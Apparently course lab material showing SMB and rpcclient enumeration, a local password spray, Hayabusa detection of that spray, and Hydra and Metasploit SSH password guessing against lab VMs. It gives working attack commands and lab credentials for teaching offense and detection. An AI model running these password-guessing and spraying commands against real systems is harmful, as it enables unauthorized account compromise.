We can start by using smbclient on Linux to pull a list of shares from Windows. Run the smbclient command shown below. When prompted, type your sec504 account’s password

sec504@slingshot:~$ smbclient -L 10.10.0.1 -U sec504

You should see a list of shares on the Windows box, including ADMIN, IPC$, and C$. These are the default admin shares that the Windows net view command hides by default. You may see additional shares if you created any.

*You may also see some warning messages at the bottom of the output (as shown in this example). You can safely ignore these warnings.*

*TIP: Some SMB servers will respond with an error protocol negotiation failed if they have disabled SMV1. To work around this error, add the -m SMB2 argument to smbclient to force the use of the newer SMB protocol.*

**Enumerate Target Information with rpcclient**

Let’s dig into this target by using the Linux rpcclient program. Run repcclient and enumerate the target Windows system, as shown here.

sec504@slingshot:~$ rpcclient 10.10.10.1 -U sec504

Mkdir failed on directory /var/run/samba/msg.lock: Permission denied

Enter WORKGROUP\sec504’s password: *sec504*

Rpcclient $>

From the rpcclient prompt, let’s experiment with some commands to extract information from the target. First note that the rpcclient prompt has Tab autocomplete. Type enum at the prompt *with no space after it*, and then hit the Tab key twice:

Rpcclient $> enum<TabTab>

You now see all the commands that rpcclient has that match the string enum. We can enumerate many things. Let’s try enumerating users:

Rpcclient $> enudomusers

user:[Administrator] rid: [0x1f4]

user:[DefaultAccount] rid: [0x1f7]

…

…

…

This command shows all users on the box (local users and any domain users the system knows about). We can see the users’ names and their *Relative identifiers* (RIDs), which are the suffix of the *Security Identifier* (SID) number for each account in hexadecimal form (The admin account has a RID of 0x1f4 which is decimal 500.)

To get an idea of all the commands available within rpcclient, run the following: (**help)**

**Enumerate Server Info and Groups with rpcclient**

Let’s use rpcclient to enumerate server info. Run the srvinfo command from the rpcclient prompt, as shown here.

Rpcclient $> srvinfo

Here you see the IP address and the OS version. The *server type* value may be slightly different on your system. Now let’s get a list of groups. First, we pull domain-related groups (typically groups created on the local machine either by an admin there or within the domain):

rpcclient $> enumalsgroups domain

Groups: [Ssh Users] rid: [0x3e9]

*Remember, the als in the middle of enum and groups stands for alias.*

Next, we pull internal groups (typically the default groups defined by Microsoft):

rpcclient $> enumalsgroups builtin

Together, these are all the groups defined on the machine. Note that we have the group names and their RIDs in hexadecimal form.

**Looking Up SIDs**

Let’s take a look at a couple of other accounts with the rpcclient lookupnames feature, starting with our user account *sec504.* Issue the lookupnames sec504 command at the rpcclient prompt, as shown here.

We see the SID of the second *sec504* account with the RID 1000 (at the end of the SID output). Next, let’s look up the administrator account:

Rpcclient $> lookupnames administrator

Administrator S-1-5-29777738400-2930198165-15511093962-500 (User: 1)

We see the administrator SID (with its RID of 500).

Now let’s look up a name that is a group, not a user, by adding an s at the end of administrator:

Rpcclient $> lookupnames administrators

Administrators S-1-5-32-544 (Local Group: 4)

Rpcclient $>

Here we see the SID of the administrator’s group (group SIDs are usually shorter than user SIDs).

**Enumerate Admin Account Details**

We can get even more info about a given user account using the rpcclient queryuser command. Let’s run it with a RID of 500, which is the RID of the original administrator account in Windows. Even if the administrator account is renamed, it still has a RID of 500. From the rpcclient prompt, issue the command queryuser 500, as shown here.

Rpcclient $> queryuser 500

In the output, we see the account’s name and other details, such as the last time the user set the password for this account! We can also see the bad\_password\_count for logon failures and more. Repeat this command using the first user account RID of 1000.

In the output for RID 500, the timestamps are all empty values (*01 Jan 1970, indicating a 32-bit* time\_t counter set to 0 or -1 and 14 Sep 30828, indicating a 64-bit FILETIME counter set to -1). This is because the Administrator account has not interactively logged in on the Windows system. However, the output for RID 1000 does reveal valid timestamps for the logon, password last set, and password can change fields.

*Note that some of the fields displayed in this output may be slightly different on your system.*

**Disconnect SMB Sessions**

Next, let’s see what happens if we disconnect the rpcclient SMB session on the Windows VM. Return to your Windows VM. Start a PowerShell session as an Administrator: right-click the Windows PowerShell icon on the desktop, then click Run as administrator. At the administrator PowerShell session, run the Get-SmbSession command, as shown here.

PS C:\WINDOWS\system32> Get-SmbSession

You will see an inbound session from a client with the username *sec504*. The rpcclient tool made this session from LInux to Windows. Let’s drop the session by adding Close-SmbSession -Force as a pipeline command, as shown here.

PS C:\WINDOWS\system32> Get-SmbSession | Close-SmbSession -Force

Next, re-run Get-SmbSession to see that the session is no longer connected, as shown here. Optionally, return to the rpcclient session on the Slingshot Linux host. Rerunning the last command will return an NT\_STATUS\_CONNECTION\_DISCONNECTED error. Close the rpcclient session at the end of this step by running the exit command.

**Finding Weak Passwords**

For this part of the lab, we are going to create 100 users with a script, then attack the passwords used for the user accounts. From your administrative PowerShell session, change to the C:\Tools directory, as shown here.

PS C:\Windows\system32> cd \Tools

Next, run the Add-TempUsers.ps1 script to create multiple user accounts, as shown here. Note that when running a command in the current directory using PowerShell, a leading . \ is required, as shown in this example.

PS C:\Tools> .\Add-TempUsers.ps1

Creating temporary users…

Done.

*If you see lots of New-LocalUser: Access denied. Error messages, it means your PowerShell session is not running with Administrator privileges. Close the PowerShell session, then right-click on the PowerShell Desktop icon and choose Run as administrator. Change to the C:\Tools directory, then run the Add-TempUsers.ps1 script again.*

**Configure a Password Spray Attack using PowerShell**

Next, we will use the LocalPasswordSpray PowerShell module to implement a password spray attack against the Windows VM. From your PowerShell session, load the module to implement the password spray attack, as shown here.

PS C:\Tools> Import-Module .\LocalPasswordSpray.ps1

PS C:\Tools>

**Start the Password Spray Attack**

From the PowerShell prompt, start the password spray attack. Run the Invoke-LocalPasswordSpray script, specifying a single password to use as a password guess on all local accounts. Start with a password guess of *Winter2023,* as shown here.

PS C:\Tools> Invoke-LocalPasswordSpray -Password Winter2023

### Making a list of all local users ###

A subdirectory or file C:\temp\ already exists.

[\*] Using C:\temp\UserList.txt as userlist to spray with

[\*] Password Spraying has started. Current time is 7:07 PM

[\*] This might take a while depending on the total number of users

[\*] SUCCESS! User: Dennis Password: Winter2023

[\*] SUCCESS! User: Jack Password: Winter2023

[\*] SUCCESS! User: Jerry Password: Winter2023

[\*] Password spraying is complete

[\*] Any passwords that were successfully sprayed have been output to C:\temp\sprayed-creds.txt

See if you can find any other weak passwords, changing the *Winter2023* password to a different guess. Take a few moments and see how many of the weak passwords you can find with Invoke-LocalPasswordSpray.

*NOTE: Try guessing at least six passwords! We’ll examine the logging evidence of password guessing in the next exercise.*

**Remove Temporary Users**

After you finish password guessing, remove the temporary users by running the Remove-TempUsers.ps1 script, as shown here.

*Note that, when running a command in the current directory using PowerShell, a leading . \ is required, as shown in this example.*

**Why This Lab Is Important**

In this lab we looked at a few of the opportunities available to an attacker when they have access to SMB. Using the smbclient utility, an attacker can enumerate and connect to SMB shares to upload and download files. Using the rpcclient utility, an attacker can enumerate information about the SMB server, including user details, password policy information, group information, and more. For both tools, an attacker will usually require some access to the system, such as a valid username and password. However, standard user access is sufficient to use these tools, creating an opportunity for an attacker with minimal access to enumerate and attack the SMB target as part of a privilege escalation attack.

An attacker with access to a Windows system (for example, following a successful phishing attack) can use local tools such as PowerShell and the built-in Windows net.exe utility to attack user accounts. In this lab you performed a password spray attack, targeting local user accounts to identify weak passwords. We’ll continue to look at different password attacks in the next section of the course, and how an attacker can apply this technique against Windows SMB targets, and many other types of systems.

**Unidentified Scan Target**

Your Slingshot Linux VM is configured with an additional scan target that runs in a Docker container. To launch the target, open a terminal and run the gosmbtgt command, as shown here.

Open a new terminal prompt. Using the username *erigby* and the password *weddingrice*, identify and enumerate the SMB target system, answering the following questions:

* What is the IP address of the SMB target server (in the range 172.30.0.2-254)?
* What is the minimum SMB version permitted by the target server?
* What other valid username exists on the server?
* Does the server enforce complex passwords for second valid username?
* What is Eleanor Rigby’s GoFundMe password?

Identify the server using Nmap host discovery scan, as shown here.

sec504@slingshot:~$ nmap -sn 172.30.0.1-254

In this output, 172.30.0.1 is the Slingshot Linux system (for the container network interface). The 172.30.0.22 server is the target SMB server. Identify the minimum SMB version on the server using the Nmap -A argument, as shown here.

sec504@slingshot:~$ nmap -A 172.30.0.22

Starting Nmap 7.60 (<https://nmap.org>) at 2020-01-18 22:14 UTC

Nmap scan report for 172.30.0.22

Host is up (0.0013s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn?

| fingerprint-strings:

| SMBProgNeg:

|\_ SMBr

445/tcp open microsoft-ds?

| fingerprint-strings:

…

…

Host script results:

|\_ nbstat: NetBIOS name: SAMBASERV, NetBIOS User: , NetBIOS MAC:

(unknown)

| smb2-security-mode:

| 2.10:

|\_ Message signing enabled but not required

|\_ smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 122.83 seconds

In this output, we see that Nmap has trouble recognizing the server response data, though the subsequent Nmap Script Engine (NSE) results indicate it as a Samba server that supports the SMBv2 protocol. Optionally, you can enumerate the SMB version using the smbclient tool as an authenticated user with the -m argument, as shown here.

sec504@slingshot:~$ smbclient -U erigby -L 172.30.0.22 -m SMB3

WARNING: The “syslog” option is deprecated

Enter erigby’s password: *weddingrice*

Domain=[SAMBASERV] OS=[] Server=[]

Sharename Type Comment

—---------------------------------------

Data Disk Data

IPC$ IPC IPC Service (Samba 4.11.4)

…

sec504@slingshot:~$ smbclient -U erigby -L 172.30.0.22 -m NT1

WARNING: The “syslog” option is deprecated

Protocol negotiation failed: NT\_STATUS\_INVALID\_NETWORK\_RESPONSE

In this output, we see that the SMB target server supports SMBv3 and SMBv2, but does not support the NTv1 SMB version (smbclient’s notation for SMBv1). To enumerate the valid users on the target server, use the *erigby/weddingrice* username and password with the rpcclient utility, as shown here:

sec504@slingshot:~$ rpcclient 172.30.0.22 -U erigby

....

…

Here the rpcclient enumdomusers command enumerates local Samba/Linux users, including a previously unidentified user fmackenzie. To enumerate information about password policies on the server, use the rpcclient getdompwinfo utility, as shown here.

rpcclient $> getdompwinfo

Min\_password\_length: 5

Password\_properties: 0x00000000

rpcclient $> getusrdompwinfo 1000

Min\_password\_length: 5 & info.passwrod\_properties: 0x283d088c (675088524)

0: DOMAIN\_PASSWORD\_COMPLEX

0: DOMAIN\_PASSWORD\_NO\_ANON\_CHANGE

1: DOMAIN\_PASSWORD\_NO\_CLEAR\_CHANGE

1: DOMAIN\_PASSWORD\_LOCKOUT\_ADMINS

0: DOMAIN\_PASSWORD\_STORE\_CLEARTEXT

0: DOMAIN\_REFUSE\_PASSWORD\_CHANGE

*Note that some of the fields displayed in this output may be slightly different on your system.*

In this output, we see that getdomwinfo reveals the minimum password length of 5 (the default for Samba servers).

Further, running getusrdomwinfo followed by a user RID (the first user in a Samba server is 1000, which can be determined with queryuser) indicates a collection of password settings, including that the server does not enforce a password complexity policy (DOMAIN\_PASSWORD\_COMPLEX is 0).

Before moving onto the next section, close rpcclient by issuing a CTRL + C at the rpcclient $> prompt. To examine the contents of the share, use the smbclient tool, followed by the server IP address and share name, as shown here.

sec504@slingshot:~$ smbclient -U erigby //172.30.0.22/data -m SMB2

WARNING: The “syslog” option is deprecated

Enter erigby’s password: *weddingrice*

Try “help” to get a list of possible commands.

Smb: \>

From the smb: \> prompt, you can use common FTP-like commands to list files (ls), change directories (cd), download files (get filename), and upload files (put filename). Explore the contents of the files on the share to retrieve Eleanor Rigby’s password, as shown here.

smb: \> ls

smb: \> cd 1Password

Smb: \1Password\> ls

Smb: \1Password\> cd 1Password.1pif

Smb: \1Password\1Password.lpif\> ls

Smb: \1Password\1Password.lpif\> get data.1pif

Smb: \1Password\1Password.lpif\> exit

The data.1pif is a JSON-formatted ASCII file. Display the contents of the file with the cat utility, as shown here.

sec504@slingshot:~$ cat data.1pif

**Terminate the Container**

At the end of the exercise, return to the terminal window where you ran gosmbtgt and press CTRL + C to terminate the container instance.

**Additional Resources**

This lab was designed to look at local workstation passwords. However, doing this on a domain is also straightforward. Beau Bullock of Black Hills Information Security has created a similar password guessing script that can be used on a domain, available at <https://github.com/dafthack/DomainPasswordSpray>. This script is powerful for identifying weak passwords in an environment. Before trying to use it in your own environment, know that it can easily trigger account lockout. Always get permission before applying attack scripts to evaluate your organization’s security, and be aware of the potential for account lockout as a negative consequence of testing.

**Lab 2.5: Windows Threat Analysis with Hayabusa**

In this exercise, you will use Hayabusa to evaluate the Windows 10 event log records following the SMB Sessions exercise where you conducted a password spray attack using Invoke-LocalPasswordSpray. You will be able to use the output of Hayabusa in Timeline Explorer to identify the accounts whose password were successfully compromised as part of the attack.

*NOTE: This exercise assumes you have completed the prior lab exercise SMB Sessions.html. If you haven’t completed the SMB Sessions exercise, you can still complete this exercise, working with the Windows event log file located in* C:\Tools\win10evtx *instead of the live Windows VM event logs using Hayabusa’s -d input argument to get similar results.*

**Try It Yourself**

Use Hayabusa in the C:\Tools directory to evaluate the Windows event logs to identify the presence of a password spray attack. Identify the accounts whose passwords were successfully compromised in the password spray attack by reviewing the Hayabusa CSV results in Timeline Explorer.

**Walkthrough - Open an Administrator PowerShell Session**

From your Windows VM, open a PowerShell prompt as an Administrator: click Start | Windows PowerShell, then right-click on the PowerShell icon, then click More | Run As Administrator.

**Change to the Hayabusa Directory**

PS C:\WINDOWS\system32> cd \Tools\hayabusa

PS C:\Tools\hayabusa>

**Examine Hayabusa Options**

Run the main Hayabusa executable hayabusa.exe with no arguments to see summary usage and command information, as shown here.

PS C:\Tools\hayabusa> .\hayabusa.exe

Hayabusa supports several commands to evaluate Windows event log data. In this lab we will focus on using the csv-timeline command. Run .\hayabusa csv-timeline to see help information for this command.

*Hayabusa has a lot of options to adjust performance, output, and formatting of the csv-timeline and other commands. In this lab we’ll explore a few of the available options, but you may want to return to Hayabusa’s help details at a later time to investigate other supported options as well.*

**Assess the Local Event Logs**

Let’s start with a valuable and fundamental Hayabusa use case: assess the local Windows event logs using Hayabusa and Sigma rules. Run Hayabusa, generating a CSV timeline of threats with the options shown here.

*NOTE: Some of the Hayabusa output will be slightly different on your system.*

PS C:\Tools\hayabusa> .\hayabusa.exe csv-timeline -l -o win10-threatdetect.csv –no-color

*NOTE: The output from your system may be different, depending on your use of Invoke-LocalPasswordSpray in the previous lab exercise.*

The command breaks down as follows:

* Hayabusa.exe csv-timeline: Run Hayabusa with the csv-timeline command to apply threat detection rules and generate a CSV output file with the results.
* -l: Read Windows event logs from the local system.
* -o win10-threatdetect.csv: Save the CSV assessment results to the output file named win10-threatdetect.csv.
* –no-color: Disable Hayabusa’s color output (Hayabusa’s output can be low-contrast with the default PowerShell system colors)

In the Hayabusa results we get a lot of output, but we can quickly assess the results of the threat hunting assessment by reviewing the lines beginning with *Total*, reproduced here:

Hayabusa is reporting 35 unique detection events (referring to individual rules, not the total number of events of interest). Of these, there are no critical-risk detection events, but we have 3 high-risk detections, 66 medium-risk detections, and many low or informational detections. Later in the Hayabusa output we see a table of alerts organized by risk level, describing the quantity of raised alerts and the alerting rule name. This output is difficult to interpret when wrapped across multiple lines, so I’ve reproduced it in a list:

* Top high alerts
  + Important Log File Cleared(2)
  + Log Cleared(1)
* Top medium alerts
  + Potentially Malicious PwSh (57)
  + Log File Cleared (3)
  + PW Spray (2)
  + PW Guessing (2)
  + WMI Persistence (1)
* Top low alerts
  + Logon Failure (Wrong Password)(1,262)
  + Local User Account Created (101)
  + A Member Was Removed From a Security-Enabled Global Group (101)
  + A Member Was Added to a Security-Enabled Global Group (101)
  + Credential Manager Enumerated (8)
* Top informational alerts
  + Explicit Logon (1,264)
  + PwSh Pipeline Exec (12)
  + Logon (Service)(Noisy) (111)
  + Proc Exec (11)
  + WMI Provider Started (15)
  + Explicit Logon (Noisy)(5)
  + Logoff (15)
  + Logon Interactive (Noisy)(4)
  + Logon (Network)(13)
  + Logon (Interactive) \*Creds in memory\* (4)

This output gives us useful insight into the events on the Windows system. While we lack critical alerts, we see some evidence of anti-forensics countermeasures (cleared event logs), and several medium alerts indicating potentially malicious PowerShell and password (PW) spray and guessing attacks. This attack behavior is also reinforced with low alerts, indicating a large number of lagoon failures. For additional insight into these events, we will continue to review the Hayabusa CSV output file.

**Display CSV Results**

When we ran Hayabusa, we directed the output of the csv-timeline command to a file called win10-threatdetect.csv. Use the PowerShell Get-Content command to examine the contents of the file, as shown here.

*NOTE: The CSV data will be slightly different on your system.*

PS: C\Tools\hayabusa> Get-Content .\win10-threatdetect.csv

The CSV output file from Hayabusa is longer than we can easily process at the PowerShell prompt. It’s beneficial to use a tool designed to parse CSV logging data in a more accessible and meaningful way.

**Open Hayabusa CSV in Timeline Explorer**

Launch Timeline Explorer by navigating to the C:\Tools\TimelineExplorer directory. Double-click on the TimelineExplorer.exe program. From Timeline Explorer, click File | Open. Navigate to the C:\Tools\Hayabusa directory. Select the win10-threatdetect.csv file, then click Open.

Timeline Explorer will open the CSV file and display the content similar to the example shown here. Timeline explorer displays all of the Hayabusa alerts in chronological order by default. We can change the grouping of alerts to organize the data in a more useful fashion.

**Change Timeline Explorer Grouping**

*NOTE: In this section we’ll review the Hayabusa results. Your Hayabusa results may be slightly different depending on how you used Invoke-LocalPasswordSpray in the previous exercise.*

In Timeline Explorer, click to select the column header marked *Level* and drag it into the area above the column headers marked *Drag a column header here to group by that column*. Release the mouse to have Timeline Explorer change the grouping to display alerts grouped by severity level, as shown here.

*NOTE: Timeline Explorer sorts the grouped entries alphabetically. You can reverse the sort order by clicking the triangle next to the Level group.*

Next, expand the group of high-risk alerts. Notice that Timeline Explorer displays the three high-risk alerts, as shown here. We can further refine the grouping by adding additional column headers. Click and drag the *Rule Title* column into the space above the header row. Timeline Explorer will use it as a second grouping following the level, as shown here. Using Timeline Explorer’s grouping feature you can organize the Hayabusa data as desired. Next, let’s review some of the results from Hayabusa’s alerts.

**Alert Review**

*NOTE: In this section we’ll review the Hayabusa results. Note that your Hayabusa results may be slightly different depending on how you used Invoke-LocalPasswordSpray in the previous lab exercise.*

In the high-risk alert level group we see two alerts: Important Log File Cleared with two occurrences: Important Log File Cleared with two occurrences, and Log Cleared with one occurrence. These alerts are informative and could indicate potential anti-forensics countermeasures applied by an attacker. Expand either of the alert groups to see the date and timestamp for the alert, as shown here. Let’s continue to review the findings in the medium-risk level. Collapse the high-risk level alerts and expand the medium-risk level alerts. Timeline Explorer will look similar to the example shown here. Here we see several alerts that correspond to the account password spray attack in the previous lab exercise. Hayabusa’s alerts can also include additional detail, which may include source code used by the attacker. Expand the alert group for the rule title *Potentially Malicious PwSh.* Timeline Explorer will display the alert group similar to the example shown here. Inspect the timeline for the alert group; the date and time information should correlate with your attack using Invoke-LocalPasswordSpray. You can also double-click on the *Details* field for any of the alerts to open the logged PowerShell script that the Hayabusa script flagged as potentially malicious.

*TIP: Optionally, use the Timeline Explorer Search dialog to look for an entry matching the string password to identify any script matching that keyword.*

By leveraging Hayabusa and Timeline Explorer, we can investigate the local system to identify events of interest. This tool combination provides a valuable source of insight, leveraging broad support for threat detection with Sigma rules, in a fast and straightforward analysis process.

**Cleaning Up**

When you are done with this exercise, close Timeline Explorer. Return to the PowerShell session and delete the win10-threatdetect.csv file as shown here.

PS C:\Tools\hayabusa> Remove-Item .\win10-threatdetect.csv

Finally, close the PowerShell session.

As an incident responder, we spend a lot of time working to identify threats. Hayabusa provides a fast and thorough investigation option, using Windows event logs to identify event of interest. Integrating the Sigma rules into Hayabusa gives us a wealth of regularly-updated threat hunting rules, while Timeline Explorer gives us the ability to group and evaluate the results quickly. This is a valuable combination for threat analysis, and one that you should leverage in your own investigations.

**Bonus (If Time Permits or Homework):**

Yamato Security (authors of Hayabusa) have a repository of Windows event log samples for various attacks available at <https://github.com/Yamato-Security/hayabusa-sample-evtx>. These samples are useful to assess and review with Hayabusa to correlate Hayabusa (and Sigma) detection capabilities for known attacks. Download the collection of event log files and use either individual files (with Hayabusa’s csv-timeline -f FILENAME.evtx option) or entire directories of attack samples (with Hayabusa’s csv-timeline -d DIRNAME option) and evaluate the Hayabusa results for the known attacks. Additional information on the Yamato Security sample evtx project is available at <https://github.com/Yamato-Security/hayabusa/wiki/Testing-Hayabusa-on-Sample-Evtx-Files>.

**Lab 3.1: Password Guessing Attacks with Hydra**

*The author of Hydra asks that this tool is not used for “military or secret service organizations, or for illegal purposes”. If you prefer, you can complete these same lab exercise steps using Metasploit instead (Password-Guessing-Metasploit.html).*

In this lab, you will use your Slingshot Linux VM. Make sure the VM is running before continuing with this lab exercise.

**Try It Yourself**

Start the SSH server service on your Slingshot Linux system using the /home/sec504/labs/passhydra/sshd\_config configuration file. Experiment with the Hydra tool, observing both failed and successful password guessing attacks. Next, start the gohydratgt server and explore various services, gaining access to the target using the password list in /home/sec504/labs/passhydra/passwords.txt.

In this exercise, we’ll look at password guessing and password spray attacks using Hydra. First, we’ll experiment with Hydra using the local Slingshot Linux VM and the SSH server service, then we’ll attack a target system, the eDirectory employee directory search server.

**Start the SSH Server with Alternate Configuration**

Next, start the SSH server process (sshd), using the alternate server configuration file located in /home/sec504/labs/passhydra, as shown here.

sec504@slingshot:~$ cd ~/labs/passhydra

sec504@slingshot: ~/labs/passhydra$ sudo mkdir -p /run/sshd

sec504@slingshot:~/labs/passhydra$ sudo /usr/sbin/sshd -f sshd\_config

*You will not see any output from the sshd process in your terminal. If you wish, you can confirm that the SSH service is running using netstat -nat | grep :22 and ps -ef | grep sshd.* This alternate sshd\_config file is set up to accept connections only from the local system. The mkdir command is necessary to create the secure directory for the SSH server to use when serving connections.

**Single Password Test with Hydra**

Hydra supports several different protocols for password guessing and password spray attacks. In the simplest form, Hydra accepts a username or *login name* (-l) and a password (-p), followed by the service name and target IP address or host name (for example, ssh://10.10.10.10). We also specify -t 4 to limit the number of simultaneous password attempts to improve Hydra’s reliability. Use Hydra to test authentication against the root account using the SSH server service with the password *sec504*, as shown here.

sec504@slingshot:~/labs/passhydra$ hydra -t 4 -l root -p sec504

ssh://127.0.0.1

In this example, Hydra was not successful in identifying a valid username and password for the specified SSH server. Repeat this command, this time specifying a login name (-l) of *sec504*, as shown here.

Here we see the successful output of Hydra and a password guessing attack, noting in green (on most terminals) that the login combination sec504/sec504 was successful. In this use case, Hydra is not too different than attempting to connect to the server using the standard ssh utility and guessing a password manually. Instead of typing the password without seeing the output with ssh, Hydra clearly shows us the successful username and password combination, but it can also accept a password list as a command line argument as well.

**Password Guessing List with Hydra**

To specify a list of passwords, one per line, for Hydra to use in a password guessing attack, omit the -p argument, and add -P, followed by the file containing a short list of passwords to use for the guessing attack. Run the command shown below, using the password list passwords.txt for the password guessing attack with the username *sec504:*

*sec504@slingshot:~/labs/passhydra$* hydra -t 4 -l sec504 -P passwords.txt ssh://127.0.0.1

Attacking localhost (127.0.0.1) with one successful password found (sec504).

In this configuration, Hydra is conducting a password guessing attack using using four concurrent guessing tasks (-t 4). By default, hydra will use 16 concurrent tasks when the -t argument is not specified. This will lead to false-negative responses on some servers. Reducing the number of concurrent tasks to four is optimal for SSH password guessing.

**Password Spray with Hydra**

Our examples using Hydra so far have been *password guessing attacks*. In many servers, this type of attack will trigger an account lockout after a number of failed guesses, often with no opportunity for the attacker to differentiate a bad password from a correct password against a locked account.

Alternatively, we can specify a large number of user accounts, with one or a small number of passwords to use Hydra in a *password spray* attack configuration. Repeat the Hydra attack, this time specifying a single password sec504 with a list of 49 usernames, supplied in the users.txt file:

sec504@slingshot:~/labs/passhydra$ wc -l users.txt

49 users.txt

sec504@slingshot:~/labs/passhydra$ hydra -t 4 -L users.txt -p sec504 ssh://127.0.0.1

In this attack, we are able to recover the password for the *sec504* account, while avoiding a potential account lockout, since we’ve only attempted to log in once for each individual username.

**Stop the SSH Service**

To finish this portion of the lab exercise using the killall command, as shown here.

sec504@slingshot:~/labs/passhydra$ sudo killall sshd

*Note that you will not receive any output from the killall command.*

Next, we’ll apply these steps in a practical lab environment.

**eDirectory Target**

For the next portion of this lab exercise, repeat the Hydra password guessing or or password spray attacks using the eDirectory target. First, start the target server by running the gohydratgt command, as shown her:

**Open a New Terminal Tab**

Open a new terminal tab by clicking File | Open Tab | Default. Change to the ~/labs/passhydra directory, as shown here.

sec504@slingshot:~$ cd ~/labs/passhydra/

sec504@slingshot:~/labs/passhydra$

**Scan the eDirectory Server**

Identify the IP address of the eDirectory server and enumerate the open TCP ports on the server using Nmap in the range 172.30.0.2-254, as shown here:

sec504@slingshot:~/labs/passhydra$ nmap 172.30.0.2-254

In this output, we see that the server at 172.30.0.25 is running SSH and web server services.

**Recover Two User Accounts**

Using Hydra and the passwords.txt list, recover the passwords for two user accounts on the eDirectory server. For this task, you will need to use your browser to access the website on the target server, build a list of user names, and configure Hydra to mount the attack against the server. If you get stuck, see the answers below.

**Answers**

The first step in any attack is to perform reconaissance analysis. For the eDirectory server, we know that there are two server services: SSH and HTTP. We will use the SSH service for password guessing, but first we need to identify valid user accounts for the target. Open our browser and navigate to <http://172.30.0.25> server. You will see the eDirectory search interface, as shown here. Submitting a search term, phrase, or just a few letters will display matching information in the employee directory. For example, searching for the name *Ed* will not reveal any users named Ed, but will show matches where the letters *ed* are in the directory information. Use this insight to get a list of all employees in the eDirectory.

Since all the users in the eDirectory have an email address, a search for @ will produce a list of all users, as shown here. Next, highlight the table information, starting with *Bridget Eva* and ending with the *Alva Ruben* record. Copy the data into the clipboard. Return to your terminal. Create a new file called searchresult.txt using the cat command, as shown here.

sec504@slingshot:~/labs/passhydra$ cat >searchresult.txt

*Note that the cat command will not exit until you press CTRL + C. Don’t press CTRL + C yet!*

Next, paste the copied webpage into the terminal by clicking Edit | Paste. Pasting the clipboard into the terminal will add the information to the searchresult.txt file.

After pasting the information into the file, press *Enter* to add a new line at the end of the last record, then press CTRL + C to close the file and stop the cat tool.

When building a list of user names, we can use information such as the beginning of an email address to produce the user list. This data may not be conveniently formatted, though (as in our case with the eDirectory search results), requiring some editing of the file. You can edit the searchresult.txt file using any text editor, such as gedit, nano, or vi, but we can also manipulate the file to produce the user list using the awk and sed tools from the command line. First, let’s use the awk tool to extract a list of email addresses from the searchresult.txt file. Since the first column of data is the employee name, followed by the email address, and the name is always in the format first space last, we can use awk to extract only the third column of information using the default delimiter of whitespace characters. Run the awk command to extract the third column of information from searchresult.txt. This is close, but we also need to remove @target.tgt portion of the email address. Press the up arrow to return to the previous awk command, then add the following sed syntax to substitute (s/), the @ sign, and everything following (@.\*) with an empty value.

sec504@slingshot:~/labs/passhydra$ awk ‘{print $3}’ searchresult.txt | sed ‘s/@.\*//’

When the output looks correct, press the up arrow to rerun the entire command, redirecting the output to a file called eusers.txt, as shown here. You can optionally display the contents of the eusers.txt file using the cat tool, as shown here. With a list of user names in the eusers.txt file, and the supplied password list in the passwords.txt file, you can mount the password spray attack against the SSH server service using Hydra. Next, use Hydra to conduct a password spray attack, using the eusers.txt and the passwords.txt files.

sec504@slingshot:~/labs/passhydra$ hydra -t 4 L eusers.txt -P passwords.txt ssh://172.30.0.25

Quickly Hydra reveals the password information for the *jorestes* account. Given several minutes, Hydra will also reveal the password for the *pemma* account.

*NOTE: Optionally, you may use the recovered credentials to access the SSH server. Search for the secret.txt for a tip on succeeding at the CTF event.*

**Cleanup**

When you are finished interacting with the eDirectory server, return to the terminal where you ran the gohydratgt command and press CTRL + C to terminate the container instance. Remove the temporary files generated during the lab exercise by running the command shown here.

sec504@slingshot:~/labs/passhydra$ rm searchresult.txt eusers.txt

sec504@slingshot:~/labs/passhydra$

**Why This Lab Is Important**

This lab demonstrates how attackers can launch password guessing attacks using freely available tools such as Hydra. While naive password guessing for a single user account may trigger account lockout on many systems, attackers can leverage the features of Hydra to avoid account lockout by implementing a password spray instead.

**Video Walkthrough**

The eDirectory container instance will log SSH information to the terminal as long as the container is running. Examine this data and look for patterns that an administrator could use to identify password authentication attacks. Also, look for opportunities to identify a failed password guessing attack from a successful attack.

Watch the acompanying video instructions (/videos/Lab3.1/) for additional information.

Official Hydra documentation: <https://github.com/vanhauser-thc/thc-hydra>.

**Lab 3.1: Password Guessing Attacks with Metasploit (Alternate)**

In this lab, we’ll mount different password guessing attacks against multiple target systems using Metasploit.

*This lab is intended for use as an alternative tool to Hydra whose author asks that it not be used in “military or secret service organizations”*

**Try It Yourself**

Start the SSH service on your Slingshot Linux system using the /home/sec504/labs/passhydra/sshd\_config configuration file. Experiment with the ssh\_login tool, observing both failed and successful password guessing attacks. Next, start the gohydratgt server and explore various services, gaining access to the target using the password list in /home/sec504/labs/passhydra/passwords.txt

**Walkthrough - Introduction**

In this exercise, we’ll look at password guessing and password spray attacks using the Metasploit auxiliary module ssh\_login. The Metasploit Framework has support for many different auxiliary modules. Unlike an exploit module that is intended to run a specific payload, auxiliary modules can include denial-of-service attacks, scanning and reconnaissance attacks, password guessing attacks and more. First we’ll experiment with the ssh\_login module using the local Slingshot Linux VM and the SSH server service. Next we’ll attack a target system: The eDirectory employee directory search server.

**Open a Terminal**

From the Slingshot Linux VM, open a terminal.

**Launch MSFconsole**

Next, start msfconsole from the terminal, as shown here.

sec504@slingshot:~/labs/passhydra$ msfconsole -q

**Load the ssh\_login Module**

From the msf6 > prompt, load the ssh\_login module with the use command, as shown here.

Msf6 > use auxiliary/scanner/ssh/ssh\_login

Msf6 auxiliary (scanner/ssh/ssh\_login) >

After loading the module, your MSFConsole prompt will change to reflect the selected module. Run the info command to examine the module description and supported parameters.

**Single Password Test with Metasploit**

In the simplest form, the ssh\_login module accepts a username and password and one or more target IP addresses to test for successful login using the SSH service. First, set the RHOSTS parameter to target the local Slingshot Linux VM using the 127.0.0.1 IP address, as shown here.

c> set RHOSTS 127.0.0.1

RHOSTS => 127.0.0.1

Next, set the USERNAME parameter to *root* and the PASSWORD parameters to *sec504*, as shown here.

Msf6 auxiliary (scanner/ssh/ssh\_login) > set USERNAME root

USERNAME => root

Msf6 auxiliary (scanner/ssh/ssh\_login) > set PASSWORD sec504

PASSWORD => sec504

